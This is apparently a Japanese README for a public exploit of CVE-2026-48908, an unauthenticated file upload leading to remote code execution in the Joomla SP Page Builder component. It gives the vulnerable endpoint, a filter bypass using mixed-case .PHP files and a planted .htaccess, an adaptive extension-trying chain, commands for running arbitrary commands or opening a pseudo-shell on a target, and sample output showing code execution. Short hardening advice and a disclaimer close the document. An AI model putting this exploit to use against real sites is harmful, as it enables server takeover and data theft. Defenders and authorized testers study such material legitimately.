
CVE-2026-48908の概念実証エクスプロイト。Joomla SP Page Builderの任意ファイルアップロードによる未認証RCEで、適応型ペイロード配信とクリーンアップを備えています。
| CVE | CVE-2026-48908 |
| 脆弱性 | CWE-284 不適切なアクセス制御 → 認証なし任意ファイルアップロード → RCE |
| コンポーネント | Joomla 用 SP Page Builder (com_sppagebuilder) |
| 影響を受けるバージョン | 1.0.0 – 6.6.1 |
| 修正版 | 6.6.2 |
| 必要な権限 | なし(認証前) |
| ユーザー操作 | なし |
SP Page Builder は、カスタムアイコンフォントパッケージのアップロードを処理するコントローラータスク asset.uploadCustomIcon を公開しています:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
影響を受けるバージョンでは、このタスクは認証なしで、かつ有効なアンチCSRFトークンなしで到達可能です。ZIPアーカイブ(multipartフィールド custom_icon)を受け入れ、その内容をドキュメントルート直下の公開Web配信ディレクトリに展開します:
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
アップロードが認証前(pre-auth)に到達可能で、展開されたファイルがWebルートに置かれるため、攻撃者は攻撃者が制御するファイルをブラウズ可能な場所に書き込み、HTTP経由で到達できます。
一部のビルドでは、アーカイブエントリに対してサーバー側のファイル名フィルターが追加されています。このPoCは、以下の3段階のチェーンで一般的な実装を回避します:
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … を拒否しますが、大文字小文字を正規化しないため、.PHP(およびその他の大文字小文字混在の亜種)と .htaccess は通過します。<FilesMatch "\.php$">)は小文字の .php のみを実行するため、アップロードされた .PHP は最初はソーステキストとして配信され、実行されません。.htaccess による上書き。 ブロックリストも見逃す .htaccess(AddType application/x-httpd-php .PHP を含む)がペイロードと一緒に配置されます。AllowOverride が許可する場所では、これにより .PHP がPHPとして登録され、アップロードしたシェルが実行されます。PoCは常に有効なアイコンフォント構造(selection.json, style.css, fonts/<name>.ttf)をパッケージ化してアップロードを受け付けられるようにし、その後シェルを追加します。
適応型 — PHP実行可能な拡張子のリスト(最もフットプリントが小さい順)を試し、次に .htaccess フォールバックを試し、実際にコードが実行された最初の方法で停止します:
fonts/<shell>.<ext> を試行: php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php。.htaccess なし。 SP Page Builderのフィルターごとにブロックするセットが異なり、Apacheの設定ごとに実行する拡張子も異なるため、対象が許可してかつ実行される組み合わせを見つけます。fonts/.htaccess + fonts/<shell>.PHP(フォールバック) — 直接の試行がすべて失敗した場合のみ。配置された .htaccess(AddType … .PHP)は、AllowOverride が許可する場所で大文字の .PHP を強制的に実行させます(これは5.4.6スタイルのホストが必要とするものです)。最初に実行された方法で停止し、どの方法が成功したかを出力します。受け入れられたすべてのアップロードが追跡されるため、--cleanup はすべてを削除します(複数回試行すると書き込み専用ディレクトリが残る可能性があります)。
バージョンとサーバーの堅牢化によって結果は異なり、PoCはそれを明示的に示します(下の結果を参照): 完全なRCE、ファイル書き込みのみ(PHP無効 /
AllowOverride None)、パッチ適用済み(管理者のみ)、または脆弱ではない。
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
ターゲットは位置引数または --url で指定できます。スキーム(http/https)の有無は問いません。
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoCは常にターゲットの判定を出力します:
| 出力 | 意味 | 終了コード |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | 脆弱 — 完全な認証なしRCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | ファイル書き込みのみ(AllowOverride None / /media でPHP無効) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | パッチ適用済み — アップロードには管理者認証が必要 | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | 悪用不可 / コンポーネントが存在しない | 2 |
404 を返します — 全世界に開放されたバックドアではありません。--cleanup は作成したペイロードディレクトリを削除します。id、算術マーカー)。/media/、/images/、/tmp)でPHP実行を無効にする(FPMプールまたは php_admin_flag engine off を使用)。AllowOverride None を設定し、配置された .htaccess がハンドラーを再有効化できないようにする。media/.../iconfont/ 配下の予期しない .php/.PHP、新しいスーパーユーザーアカウント、埋め込まれたファイルマネージャーを探す。Joomla SP Page Builder エクスプロイト · com_sppagebuilder 認証なしRCE · CVE-2026-48908 PoC · asset.uploadCustomIcon 任意ファイルアップロード · Joomla リモートコード実行 · ペンテストエクスプロイトスクリプト。
このソフトウェアは教育目的および許可を得たセキュリティテスト専用に公開されています。例: 書面による許可を得て実施するペネトレーションテスト、対象をスコープに含むバグバウンティプログラム、CTF大会、および自分自身のラボシステム。
許可なくコンピュータシステムにアクセス、変更、または妨害することは、ほとんどの法域で違法です。あなたは自分の行動に対して単独かつ全面的に責任を負います。 このコードを使用、ダウンロード、または配布することにより、以下に同意したものとみなされます:
これらの条件に同意しない場合は、このソフトウェアを使用しないでください。一般に公開されているエクスプロイト/PoCと同様に、これは防御側が脆弱性を検出・理解・修正できるように善意で共有されています。それをどう使うかはあなた次第です。
MIT — LICENSE を参照してください。